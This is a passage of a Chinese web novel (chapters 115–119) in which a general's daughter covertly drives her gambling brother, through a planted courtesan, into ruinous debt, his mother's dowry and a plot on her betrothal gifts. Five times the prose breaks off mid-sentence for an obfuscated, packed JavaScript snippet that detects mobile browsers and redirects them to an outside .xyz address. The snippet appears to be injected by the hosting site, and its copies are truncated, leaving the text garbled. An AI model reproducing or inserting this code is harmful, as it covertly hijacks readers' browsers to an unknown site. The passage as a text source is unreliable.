“当然，难不成你还不相信本公子的话吗？” 凝香抬起头含情脉脉的看着傅湛。 “奴家自然相信公子的话，只是奴家身份卑微，公子贵为将军府的少爷……万一因为奴家让公子和家中长辈起了冲突，那奴家真是罪该万**。” 傅湛看到凝香这个时候还在为他考虑，更加感动。 他郑重的握住了凝香的手，“凝香，你放心本公子此生绝不负你，我护着的人没有人敢欺负。” 凝香这才破涕为笑，娇羞的点了点头，“奴家都听公子的。” 芳华苑内，烛火通明。 傅流萤并未歇息，她正在灯下仔细翻阅着芳华记这段时间的账本。 桌子上，装着雪岭冰魄莲的紫檀木盒散发着幽幽寒意。 轻微的脚步声响起，春芽悄无声息地走进来，低声禀报，“小姐，二少爷他……带着那个凝香，回府了，已经安置在他的院内偏房。” 傅流萤闻言，目光并未从账本上移开，只是唇角勾起一抹极淡的冷笑，仿佛早已预料。 “哦？果然带回来了。倒省了我再费心思让他偶遇。”她语气平淡，听不出喜怒，接着问道，“他收下那五百两银子了？” 春芽脸上露出一丝鄙夷，回道“据我们的人远远瞧见，确是收了。那凝香姑娘跪地哭求表忠心，二少爷似乎……大为感动。” “呵。”傅流萤终于抬起眼，眼中嘲讽之意更深，“好一个重情重义的傅二公子。堂堂七尺男儿，将军府的少爷，竟沦落到要用一个女子攒下的钱来撑场面。真是……出息。” 她的声音里带着毫不掩饰的轻蔑。 “将军若是知晓二公子不仅欠下巨额赌债，还收了欢场女子的钱，并将人带入府中，不知会作何感想。” 傅流萤勾唇一笑，“不急。”她重新垂下眼眸，指尖划过纸页，“让他先感动着。这五百两，不过是鱼饵罢了，吞下了饵，还怕他不上钩吗？” “傅湛好赌，却又输不起，更缺乏真正的魄力和担当。如今被巨额债务压身，他就像溺水之人，会本能地抓住任何看似能救命的东西。凝香的出现，她的倾囊相助，正好满足了他此刻急需的认同感和虚假的希望。” “接下来……”傅流萤的声音冰冷，“让凝香不必再给他钱，只需要提醒他尽快解决债务，傅湛被逼到绝境，又想在红颜知己面前维持脸面，定会鋌而走险。” “小姐的意思是……”春芽心领神会。 “傅家公账上的亏空，可不是一日两日了。”傅流萤淡淡道，“以前父亲不管庶务，祖母纵容，他还能拆东墙补西墙。如今么……” “奴婢明白了。”春芽点头，“奴婢会提醒凝香姑娘该如何说话的。” “嗯。”傅流萤挥挥手，“下去吧。继续盯着，有任何异动，随时来报。” “是。”春芽躬身退下。 室内恢复寂静。 傅流萤放下手中的账本，目光落在那冰冷的紫檀木盒上。 傅湛这边，网已经撒下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201881|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只待收网。 而太子那边…… 她打开木盒，看着那株晶莹剔透的雪岭冰魄莲，眼神变得深邃复杂。 萧玹……这个男人，比她想象的还要难以捉摸。 他竟真能寻来此等奇珍，为了太子，他究竟愿意做到哪一步？ 那他们的婚约，在这诡谲的棋局中，又究竟是一步活棋，还是……最终会将她也拖入无底深渊的死棋？ 傅流萤轻轻合上盒盖，将一切思绪压下。 眼下，最重要的是利用好这株冰魄莲，稳住太子的病情。 只有太子活着，京城这潭水才不会立刻沸腾，她才有足够的时间来料理傅家的魑魅魍魉，壮大自己的力量。 翌日清晨，天光微熹，将军府却像是炸开了锅。 二少爷傅湛昨日深夜狼狈回府，竟还带着一个衣衫略显凌乱，姿容妩媚的陌生女子，并将其径直安置在了自己院中的偏房！ 这消息如同长了翅膀，瞬间飞遍了府中的每一个角落。 下人们交头接耳，眼神闪烁，既好奇又带着几分看热闹的兴奋。 “听说了吗？二少爷从外面带了个狐媚子回来！” “哎哟，看那打扮，不像良家女子啊……” “可不是嘛，身上还有股子风尘气，二少爷这回可真真是……” “听说是从千金坊带回来的，安置在偏房了！” “我的天，千金坊？那不是……啧啧，二少爷胆子也忒大了！” “夫人和将军要是知道了，还不得气疯？” “可不是嘛，瞧那阵仗，二少爷自个儿还鼻青脸肿的呢，怕是没少挨揍！” 议论声虽低，却无孔不入地钻入早起巡视的管事嬷嬷耳中，又经由她们，添油加醋地传到了各自主子的院里。 傅莽早朝回府，正用早膳，闻听此事，额角青筋猛地一跳，脸色瞬间阴沉得能滴出水来。 他一生戎马，最重规矩脸面，虽知这个儿子有些纨绔**气，却万没想到他竟敢如此荒唐，将风尘女子公然带入府中！ 第一百一十五章 家宅不宁 “这个逆子！”他从牙缝里挤出四个字，猛地站起身，宽大的手掌重重拍在桌上，震得碗碟乱颤，“他人呢？还在那个狐狸精房里？” 长随吓得一哆嗦，连忙低头：“二少爷……应该还在自己院里。” “带路！”傅莽怒吼一声，也顾不上喝粥了，大步流星地就往外走，周身笼罩着一层骇人的怒气，仿佛一座即将喷发的火山。 一路上，遇到的仆从无不噤若寒蝉，纷纷避让。 柳飞燕正对镜梳妆，听闻心腹嬷嬷的急报，手中的玉梳“啪”地一声掉在地上，摔成了两截。 她先是惊愕，随即是浓浓的气恼和担忧。 “湛儿他……他怎如此糊涂！”她急急起身，“快，快随我去看看！” 傅湛的院落里，却又是一番光景。 凝香早已梳洗完毕，换上了一身素净的衣裙，虽无过多饰物，却更衬得她楚楚可怜，我见犹怜。 她小心翼翼地用浸了温水的帕子，替傅湛擦拭脸上的淤青，动作轻柔，眼含泪光，一副心疼又自责的模样。 “公子，还疼吗？都怪奴家不好……”她的声音带着哭腔，指尖微微发颤。 傅湛昨夜虽被感动，但此刻冷静下来，面对府中必然掀起的波澜，心头也是烦躁不安。 只是看着凝香这般情态，那点烦躁又化为了怜惜和不忍。 他刚想开口安抚，院门被人“砰”地一声从外面狠狠踹开！ 傅莽高大的身影出现在门口，面色铁青，目光如刀，直直射向屋内挨得极近的两人，尤其是在看到凝香那副柔弱无骨，依偎在儿子身边的姿态时，怒火更是达到了顶峰。 “孽障！你给我滚过来！”傅莽声如洪钟，震得人耳膜嗡嗡作响，“你竟敢把这种不干不净的女人带回家来！我们傅家的脸都要被你丢尽了！” 傅湛被这突如其来的怒吼吓了一跳，下意识地将凝香护在身后，站起身，“父亲……” “别叫我父亲！我没你这种儿子！”傅莽几步跨进屋内，手指几乎要戳到傅湛脸上，“立刻！马上！把这个女人给我扔出去！否则，我连你一起打断腿扔出去！” 凝香吓得脸色煞白，浑身发抖，像是受惊的小兔，紧紧抓着傅湛的衣袖，泪珠儿成串地往下掉，却咬着唇不敢哭出声，愈发显得可怜。 傅湛见父亲如此不留情面，又感受到身后女子的恐惧与依赖，那股子倔强和叛逆也被激了起来。 他梗着脖子道，“父亲！凝香她不是你想的那种人！她虽是出身风尘，但出淤泥而不染，心地善良，昨日若不是她，儿子恐怕……” “闭嘴！”傅莽根本不想听他的解释，“烟花之地出来的，能有几个好的？不过是些攀附权贵，**人心的货色！你立刻让她滚！” “我不！”傅湛第一次如此强硬地顶撞傅莽，“我是真心喜欢凝香的！我绝不会赶她走！” “你！”傅莽气得浑身发抖，扬手就要打下去。 恰在此时，柳飞燕急匆匆地赶到了。 她一见这剑拔**张的阵势，吓得魂飞魄散，连忙扑上前拦住傅莽，“老爷！老爷息怒啊！有话好好说，千万别动手！” 她一边劝着傅莽，一边扭头对傅湛急声道：“湛儿，你怎么这么糊涂啊！什么样的女子你不能找，偏要……” 她看向凝香，眼神里也带着不满和审视，但终究更心疼儿子，“你先少说两句，快给你父亲认个错！” 若是平时，傅湛或许就顺台阶下了。 可此刻，他瞥见身后凝香那恐惧又依赖的眼神，以及想起昨夜她“以死相护”的情谊，竟梗着脖子，对柳飞燕的话置若罔闻。 “母亲，我没有错！”傅湛此刻像是被激怒的困兽，谁的话也听不进去，“我和凝香是真心相爱的！为什么你们就不能成全我们？” 柳飞燕被他这话噎得一口气没上来，捶胸顿足，“你、你个孽障！你是要气死我和你父亲吗？快跪下道歉！” 傅湛挺直了腰板，死死咬着牙，就是不跪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201882|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅莽见他还敢嘴硬，一把推开柳飞燕，指着傅湛的鼻子骂道，“看看你教出来的好儿子！前有傅凛不争气，傅明雪惹是生非，现在这个也被女色迷了心窍！我们傅家的门风，都要败在你们手上了！” 这话如同尖刀刺入柳飞燕心口，她顿时也来了气，哭嚷道，“老爷！你怎么能这么说？孩子们有错，难道都是我一个人的责任吗？你平日里只顾着公务，何曾好好管教过他们？” “你还有理了？”傅莽怒火更炽，“慈母多败儿！就是你这般纵容，他才敢无法无天！今天我必须把这女人赶出去！” 眼看两个人争执起来，傅湛更是铁了心要护住凝香。 凝香见时机差不多了，突然扑通一声跪倒在地，对着傅莽和柳飞燕重重磕了个头，抬起泪流满面的脸，泣不成声。 “将军，夫人！千错万错都是凝香的错！是凝香不该痴心妄想，不该拖累公子！凝香出身卑贱，能得公子垂怜，有此一遭，这辈子已经值得了，死而无憾了……” 她说着，猛地站起身，决绝地看向房间里的柱子，“凝香不愿公子为难，更不愿见公子因我与将军和将军夫人反目！今日便以死谢罪，只求将军和夫人勿要再责怪公子！” 话音未落，她用尽全身力气推开身旁的傅湛，埋头就朝着柱子狠狠撞去！ “凝香！不要！”傅湛魂飞魄散，幸好他一直留意着凝香，反应极快，在她即将撞上的前一瞬，猛地扑过去将她死死抱回怀里。 “你做什么傻事！”傅湛心有余悸，抱着她的手都在发抖，心里的怨气也达到了顶点。 他身为将军府的嫡子，为什么连心爱的女人都护不住？ 三年前是这样，现在又是这样，难道他的人生就不能任由他做主一次吗 傅湛赤红着眼睛，看向傅莽，嘶吼道，“父亲！你看到了吗？这就是你口中的不干不净！她为了我连命都可以不要！我是真心爱她的！她若**，我绝不独活！您若执意要赶她走，不如现在就一剑杀了**净！” 第一百一十六章 欠下赌债 说着，他竟真的闭上眼，一副引颈就戮的模样。 傅莽被他这番混账话气得眼前发黑，血气上涌，“好！好！你个孽子！你真以为老子不敢杀你吗？” 盛怒之下，他竟真的“唰”一声抽出腰间佩剑，冰凉的剑尖直指傅湛的咽喉！ 森然寒意刺激得傅湛皮肤起了一层栗粒，但他依旧死死咬着牙，一动不动。 “老爷！不可啊！”柳飞燕尖叫一声，扑上**死抱住傅莽拿剑的胳膊，“他是我们的儿子啊！老爷！你不能杀他！为了一个贱婢，不值得啊！” 剑尖颤抖着，距离傅湛的喉咙只有寸许。 傅莽胸口剧烈起伏，看着儿子那副豁出去的倔强模样，再看看哭得几乎晕厥的柳飞燕，最终，那股杀意还是被理智和一丝不易察觉的无力感压了下去。 他终究下不了手。 “哐当！” 一声脆响，长剑被他狠狠掷在地上。 他指着傅湛，手指颤抖，声音是从未有过的疲惫和失望，“好！好得很！傅湛，你真是我的好儿子！你就守着这个祸水吧！以后是福是祸，你都自己受着！别再求到老子门上！” 说完，他猛一甩袖，怒气冲冲地转身大步离去，背影竟显得有些佝偻。 柳飞燕看着丈夫离去，又看看抱着凝香不撒手的儿子，只觉得心力交瘁，哭道，“湛儿，你这又是何苦……为了一个女人，何必闹到这般地步……” 傅湛此刻却听不进任何劝解，只是紧紧抱着怀中瑟瑟发抖，低声啜泣的凝香，仿佛抱着全世界最珍贵的宝物。 柳飞燕见劝不动，重重叹了口气，抹着眼泪也离开了这是非之地。 待傅莽和柳飞燕都离去，院内只剩下傅湛和凝香两人。 凝香仿佛脱力般软在傅湛怀里，哭得梨花带雨，好不可怜，“公子……对不起，都是奴家不好，惹得将军和夫人如此动怒……奴家真是罪该万死……” 傅湛心疼地替她擦泪，柔声安慰，“不怪你，是我没用，护不住你。你放心，只要有我在，绝不会再让你受委屈。” 凝香仰起脸，眼中充满了全然的依赖和崇拜，“公子……您对凝香真好。能遇到公子，是凝香几辈子修来的福分。凝香什么都不求，只求能永远陪在公子身边，伺候公子。” 美人情深意切，婉转柔媚，傅湛昨夜刚经历了共患难，今日又见她为自己以死明志，此刻再听这番告白，只觉得五脏六腑都舒舒服服的，那八万两债务带来的阴霾似乎都被冲淡了不少。 他再次保证，“一定会的。” 凝香依偎在他怀中，感受着他情绪稍定，眼波微转，时机恰到好处地轻声开口，带着浓浓的忧虑，“公子……您待凝香这样好，凝香……凝香实在不忍心看您为了债务之事愁眉不展。昨夜之事……若是被将军知道，恐怕……” 她适时地停住，担忧地看着傅湛。 果然，一提及赌债，傅湛的脸色瞬间又阴沉下来，烦躁地抓了抓头发，“别提了！我正在想办法！” 八万两！这不是小数目！他到哪里去弄这么多钱？ 父亲刚才的态度已然明确，绝不可能帮他。 难道真要剁手或者被关进千金坊的黑屋？ 想到那种后果，傅湛就不寒而栗。 凝香观察着他的神色，小心翼翼地说：“公子，奴家人微言轻，本不该多嘴……但奴家实在是为公子心急。奴家方才看……将军正在气头上，此事定然无法转圜。不过……奴家瞧着，夫人倒是真心疼爱公子的，眉眼间皆是慈和……若是公子能向夫人坦言，恳求夫人相助，或许……或许能有一线生机？” “母亲？”傅湛一愣，随即立刻摇头，“不可不可！母亲的嫁妆那是她的体己，我怎么能动用她的东西？绝对不行！”他虽然混账，这点底线似乎还在。 凝香赶紧低下头，一副说错话的惶恐模样：“是奴家僭越了！奴家该死！请公子责罚！奴家只是……只是看公子如此为难，心急如焚，才口不择言……奴家想着，公子并非是要动用夫人的嫁妆。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209051|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是……只是暂借来应急，等公子手底下的铺子周转过来，赚足了银钱，再悄悄还给夫人，也是一样的总好过……总好过被千金坊的人找上门来，那到时才是真的无法收拾，将军的怒火恐怕……” 她的话一点点钻进傅湛焦虑的心防。 傅湛沉默了，脸上露出挣扎之色。 母亲的嫁妆。 他确实知道那是一笔不小的财富。 若是能借来……似乎真的是眼下唯一的出路了。 只要他以后赚了钱，再还给母亲也是一样的。 凝香见他意动，不再多言，只是柔顺地靠着他，轻轻抽泣。 过了许久，傅湛眼中闪过一丝决绝。 他拍了拍凝香的背，沉声道，“好了，你别哭了。此事我自有计较。你好好休息，我出去一趟。” 他将凝香安顿好，整理了一下衣衫，深吸一口气，朝着柳飞燕的正院走去。 柳飞燕刚回到房里，正对着镜子垂泪，心疼儿子，又恼恨他不争气，更怨丈夫毫不留情。 就在这时，丫鬟通报二少爷来了。 柳飞燕连忙擦干眼泪，整理仪容，还没等她说什么，傅湛就走了进来，然后“噗通”一声跪倒在她面前。 “母亲！儿子不孝！求母亲救救儿子吧！”傅湛的声音带着哭腔和绝望。 柳飞燕被他这阵仗吓了一跳，连忙去扶他：“湛儿，你这是做什么？快起来！又闯什么祸了？是不是还是为了那个凝香？你放心，等你父亲气消了，娘再去求求他……” “不是的，母亲！”傅湛不肯起来，抬起头，脸上已是泪汗交织，“儿子……儿子闯了大祸了！昨日在千金坊，儿子……儿子欠了八万两银子的赌债！” “什么？八万两？”柳飞燕如遭雷击，猛地后退一步，差点晕厥过去，被旁边的嬷嬷赶紧扶住。 她指着傅湛，手指颤抖得比傅莽刚才还要厉害，“你、你说多少？八万两？傅湛！你、你怎么敢？你怎么敢去赌那么多钱？” 第一百一十七章 打起了嫁妆的主意 她气得浑身发抖，顺手抓起桌上的鸡毛掸子，就没头没脑地往傅湛身上抽去，“我打死你个不争气的东西！我让你赌！让你赌！傅家的家底都要被你败光了！” 傅湛也不躲闪，任由柳飞燕抽打，痛哭流涕，“母亲！儿子知道错了！儿子真的知道错了！可是……可是三天之内若还不上钱，千金坊的人就要找上门来，还要剁了儿子的手啊！母亲！您不能见死不救啊！” 听到“剁手”二字，柳飞燕的手顿住了，鸡毛掸子掉在地上。 她看着傅湛惨白的脸和惊恐的眼神，终究是慈母之心占了上风。 她跌坐在椅子上，掩面痛哭起来，“我的孽障啊……你这是要我的命啊……八万两……你让我去哪里找八万两啊……你父亲若是知道了，非打死你不可……” 傅湛跪行几步，抱住柳飞燕的腿，如同抓住最后一根稻草，“母亲，您救救我！只有您能救我了！求求您了！” “我怎么救？我哪里有那么多的私房钱？”柳飞燕哭道。 傅湛抬起头，压低了声音，“母亲……您、您的嫁妆……能不能先借给儿子应应急？儿子向您发誓！只要渡过这个难关，我一定好好经营铺子，尽快把钱赚回来，悄悄给您补上！绝不让父亲知道！” 柳飞燕猛地一震，难以置信地看着傅湛，“你、你竟然打起了我嫁妆的主意？那是我的棺材本！是留给……” “母亲！这是唯一的办法了！”傅湛急切地打断她，“难道您真要看着儿子被剁手，或者被父亲打死吗？只是暂借！儿子一定还！求您了！” 柳飞燕内心剧烈挣扎。 一边是视若性命的嫁妆，那是她在傅家安身立命的最后保障，另一边是儿子的安危和未来。 儿子再混账，也是她身上掉下来的肉啊！ 她看着傅湛苦苦哀求、恐惧绝望的模样，心肠一点点软了下来，最终还是母爱战胜了理智。 她颤抖着声音问，“你、你保证能还上？” 傅湛见母亲松口，立刻指天发誓，“儿子保证！一定还！若是还不上就天打五雷轰。” 柳飞燕看着儿子痛哭流涕、恐惧绝望的模样，作为一个母亲，她的心终究是软了。 比起那些死物，终究是儿子的安危更重要。若是傅莽真的发怒……她不敢想象。 在傅湛一遍又一遍的哀求和保证下，柳飞燕的心理防线彻底崩溃了。 她泪流满面，颤抖着声音，“孽障，罢了罢了，我、我帮你想想办法。” 傅湛闻言，大喜过望，连连磕头，“多谢母亲！多谢母亲！儿子一定铭记您的大恩大德！” 柳飞燕擦着眼泪，心力交瘁地摆摆手：“你先回去。此事需得隐秘，容我仔细想想，你切记，此事绝不可让第三人知晓！尤其是你父亲！” “儿子明白！儿子明白！”傅湛连连保证，心中一块大石终于落地，只要母亲肯帮忙，事情就有转机。 傅湛千恩万谢地离开了。柳飞燕独自坐在房中，看着妆奁盒里那些田产地契和银票，眼泪止不住地流。 这些都是她当年风光嫁入傅家时，娘家给的陪嫁，是她经营多年才攒下的体己，如今却要为了儿子的赌债而…… 她心痛难当，却又无可奈何。 最终，她还是颤抖着手，开始清点能够快速变现的产业和银钱。 为了儿子，她只能铤而走险。 芳华苑内，傅流萤正在小心处理那株雪岭冰魄莲。 她屏息凝神，用特制的玉刀取下极小的一片花瓣，准备先行试药，验证药性，以确保后续炼丹万无一失。 春芽悄步进来，低声将傅湛院中发生的闹剧详尽地禀报了一遍。 傅流萤手下动作未停，眼神都未曾抬起一分，仿佛听的不过是今日天气如何。 “果然不出所料。”她语气平淡，甚至带着一丝早已料定的漠然，“柳飞燕溺子成性，终究会走上这一步。八万两，倒也够她伤筋动骨了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209052|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她将取下的花瓣放入玉臼中轻轻研磨，声音清冷：“让凝香稳住傅湛即可，不必再有多余动作。柳飞燕那边，她自会想办法凑钱。我们只需等着看戏便好。” “是，小姐。”春芽应道，随即又有些迟疑，“小姐，如此一来，二少爷的危机似乎……暂时解了？” “解？”傅流萤终于抬眸，唇角勾起一抹冰冷的弧度，“春芽，你何时见过赌徒能金盆洗手？尝过一夜暴富的刺激和瞬间失去一切的癫狂，又被债务逼到绝境，他只会更加渴望翻本，更加迷信运气。柳飞燕的嫁妆，不过是杯水车薪，暂时堵上窟窿罢了。那千金坊，可是个**不吐骨头的地方。” 她放下玉杵，目光幽深，“更何况，他院中还有一颗精心安排的棋子。有了第一次，就会有第二次，第三次……直到将他，连同纵容他的人，一同拖入万劫不复的深渊。” “奴婢明白了。”春芽心中凛然，再次为小姐的算计之深而感到敬畏。 “傅湛这边，已是瓮中之鳖，不必再花费太多心思。” 傅流萤话锋一转，注意力重新回到眼前的冰魄莲上，“眼下重中之重，是太子之事。萧督主那边，可派人送来了其他药材？” “已经送到了。”春芽连忙呈上一份清单。 傅流萤接过，快速浏览了一遍。 上面所列皆是珍稀药材，有几味甚至颇为罕见，但以东厂之能，搜集齐全并非难事。 “按方准备吧。另外，去城西的百草堂，请孙老大夫过来一趟，就说我需借他的紫铜丹炉一用，炼制一味紧要丹药。他若问起，便说是救治贵人，不方便透露。”傅流萤吩咐道。 孙老是京城中有名的老大夫，医术精湛，且为人正直，他的丹炉炼了一辈子的单，是炼制冰魄护心丹的最佳选择。 “是，奴婢这就去办。”春芽领命退下。 傅流萤重新低头，专注地看着玉臼中那泛着淡淡寒气和莹光的粉末，眼底闪过了一抹暗色，转瞬即逝。 第一百一十八章 贪心不足蛇吞象 柳飞燕变卖嫁妆填窟窿的事，做得隐秘，却瞒不过傅流萤的眼线。 春芽将消息带回芳华苑时，傅流萤正对着一局残棋，指尖的白玉棋子温润生凉。 “小姐，二少爷那边……夫人到底还是动用了体己，八万两，一分不少地补上了千金坊的亏空。”春芽低声禀报，语气里带着一丝不易察觉的唏嘘。 那毕竟是夫人经营多年的心血，夫人居然说给就给了。 到底是爱子情深。 可明明都是夫人的孩子，为什么夫人偏偏对大小姐这么残忍。 傅流萤闻言，并未抬头，目光依旧落在棋盘上，她只是极淡地勾了勾唇角，声音清冷，“贪心不足蛇吞象。赌徒的口袋，哪里是那么容易填满的？等着吧，傅湛不会就此罢休的。” 柳飞燕这一次这么轻松的就给傅湛还清了那笔赌债，是帮了傅湛也是害了他。 毕竟人怎么会对自己轻易得到的东西珍惜呢？ 所以这次他不仅不会记得这次教训，而且还会变本加厉。 她轻轻落下一子，语气笃定而漠然，“这才只是开始。” —— 傅湛拿到钱，第一时间还清了千金坊的赌债，看着那张按了手印的欠条被当面销毁，他长长舒了口气，仿佛卸下了千斤重担。 然而，轻松不过片刻，那被强行压下的贪婪和侥幸便如同野草般再次滋生。 这次只是运气不好，若不是后来换了庄家，他定然能赢更多！ 况且，凝香还在院里眼巴巴地望着他，他曾在美人面前夸下海口，要百倍偿还那五百两，还要让她过上好日子。 更何况，男人在哪里跌倒就应该在哪里爬起来。 他在赌坊一下子输了那么多钱，自然也要从赌坊把这些钱赢回来。 他不仅要赢回八万两，连带着利息也要一同拿回来。 可是一旦输了呢？ 傅湛的心里虽然很渴望赢钱，但是他也输怕了。 一连三四日，傅湛都在纠结犹豫徘徊。 “公子可是还在为银钱之事烦忧？”凝香善解人意地替他揉着额角，声音柔得能滴出水来，“都是奴家没用，帮不上公子……” 傅湛握住她的手，强笑道，“与你无关。只是近日几桩生意周转有些不顺，无妨，很快便能解决。” 凝香眼波流转，依偎进他怀里，轻声道，“公子鸿鹄之志，岂会为这些琐事所困？奴家相信公子。只是……看公子愁眉不展，奴家心里难受。若是……若有些许本金，以公子的能耐，定能迅速翻身的。” 这话如同魔咒，精准地敲在傅湛心上。 本金……他如今哪里还有本金？母亲的嫁妆能动用的都已动用，剩下的都是不易变现或不敢再动的产业。 凝香似乎无意地提道，“奴家听闻，城西新开了一家富贵堂，玩法新颖，赔率也高，不少人都在那儿发了财呢……当然，奴家只是随口一说，公子切勿再去那等地方了，上次可吓坏奴家了。” 她越是劝阻，傅湛的心思越是活络。 新开的赌坊？玩法新颖？赔率高？ 或许……那里是他的转运之地？ 侥幸心理一旦占据上风，便再难遏制。 他开始偷偷典当房中值钱的古玩摆件，甚至胆大包天地挪用了名下铺面这个月该上缴公中的流水银子。 反正这些年他做的假账也已经数不胜数了，现在再多做几笔假账对傅湛来说也不是什么难事。 再次踏入赌坊时，他怀里揣着东拼西凑来的一万两银票，眼睛因为兴奋和紧张而布满血丝。 新开的富贵堂果然如凝香所说，热闹非凡，玩法新奇，赔率诱人。 傅湛一开始还小心翼翼地试探了几把，竟然连连得手，手中的筹码很快翻了一番！ 他的心脏狂跳起来，血液奔涌，脸上泛起不正常的红晕。 看！他就知道！他傅二爷时来运转了！ 信心空前膨胀，他形势也越发的大胆起来，竟然将赢来的钱连同本钱，全部押了上去！ “开——” 骰盅揭开，点数却与他押的截然相反！ 傅湛脸上的笑容瞬间僵住。 “啧，可惜了。”庄家面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209053|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无表情地揽走筹码。 “再来！”傅湛不信邪，又借了印子钱。 然而，幸运女神似乎只是跟他开了个短暂的玩笑。接下来的局势急转直下，他押大开小，押小开大，牌九上手尽是憋十烂牌。 越输越急，越急越输。 他额头上渗出冷汗，眼神疯狂，不停地加大注码，嘶吼着，“押！全部押上！” 傅湛试图一把翻盘，却如同陷入流沙，挣扎只会让他下沉得更快。 当他再一次输光了所有，连同新欠下的巨额印子钱时，赌坊管事那皮笑肉不笑的脸再次出现在他面前。 “傅二公子，手气不太顺啊？这回……连本带利，可是这个数了。”管事比划了一个手势。 十万两！ 傅湛如同被一盆冰水从头浇到脚，瞬间清醒，随即是无边的恐惧和绝望将他彻底吞噬。 他双腿一软，险些瘫倒在地。 怎么会……怎么会又输了这么多？ 他失魂落魄地被“请”出赌坊，如同一条丧家之犬，在寒冷的夜街上游荡了许久，才如同幽魂般飘回了将军府，一头扎进凝香的厢房。 “公子，您怎么了？”凝香看到他面无人色、眼神空洞的模样，心中冷笑，面上却装得惊慌失措，连忙扶住他摇摇欲坠的身体。 傅湛猛地抱住她，身体抖得如同秋风中的落叶，声音嘶哑破碎，“完了，凝香，全完了，我又输了，十万两，这次真的死定了。” 凝香心中畅快，语气却愈发担忧害怕，“十、十万两？公子，这、这可如何是好？若是被将军知道……” “不能让我爹知道！绝对不能！”傅湛如同被踩了尾巴的猫，惊惶失措，“他会打死我的！一定会打死我的！” “可是这笔钱总要还上啊。”凝香依偎着他，声音柔媚带着哭腔，“公子名下，可还有什么能应急的？铺子？田产？或者府上公中的呢？” “没了，能卖的都卖了，能挪用的也挪用了”傅湛抓着自己的头发，头皮传来刺痛却远不及心中的恐慌，“公中的账目父亲偶尔会查，不能再动了。” 第一百一十九章 打聘礼的主意 “那，那……”凝香的目光似乎无意地飘向府库的方向，声音压得更低，“妾身听闻，大小姐的聘礼，萧督主早就已经送来了，那真是十里红妆，耀眼夺目，都暂时收在大小姐的私库里呢。那些东西若是能暂时借用一二，周转一下，等公子翻了本，立刻赎回来放回去，神不知鬼不觉。” 动傅流萤的聘礼？ 这个念头钻入傅湛混乱的脑海，让他激灵灵打了个寒颤。 那是萧玹送来的！是皇帝赐婚的聘礼！动了的后果…… 可是，不动，赌坊的人找上门，父亲震怒……那后果他更承担不起！ 更何况傅流萤是他的妹妹，是这将军府的女儿。 她的嫁妆自然应该是属于将军府的。 而他又是将军府的嫡子，将军府的东西里应有他的一份，所以他拿傅流萤的嫁妆相当于是在拿自己的东西。 这样想着，傅湛不仅不觉得害怕，反而有一种理所当然的感觉。 他眼中闪过疯狂的孤注一掷。 “对，聘礼……还有聘礼……”他喃喃自语，眼神变得狰狞起来，“都是傅家的女儿！她的聘礼，暂时借用一下又如何！等老子翻了本，再还给她！” 凝香低下头，敛去了嘴角的笑意。 “公子我命人烧了热水，现在就让人送进来给您泡个热水澡吧，我再给您捏捏肩让您舒坦舒坦，至于聘礼的事情暂时也不着急，等大小姐哪日不在府里再取来就是了我听府中的下人说大小姐过两日要去护国寺祈福，到时候芳华苑的人所剩无几，正是下手的大好时机。” 傅湛嗯了一声，搂住了凝香，眸色微动，“凝香，还好有你在。” 说着，他就要低头稳住凝香的唇。 凝香低头一躲，纤纤玉手抵着傅湛的胸膛，“公子，奴家先命人伺候公子沐浴。” 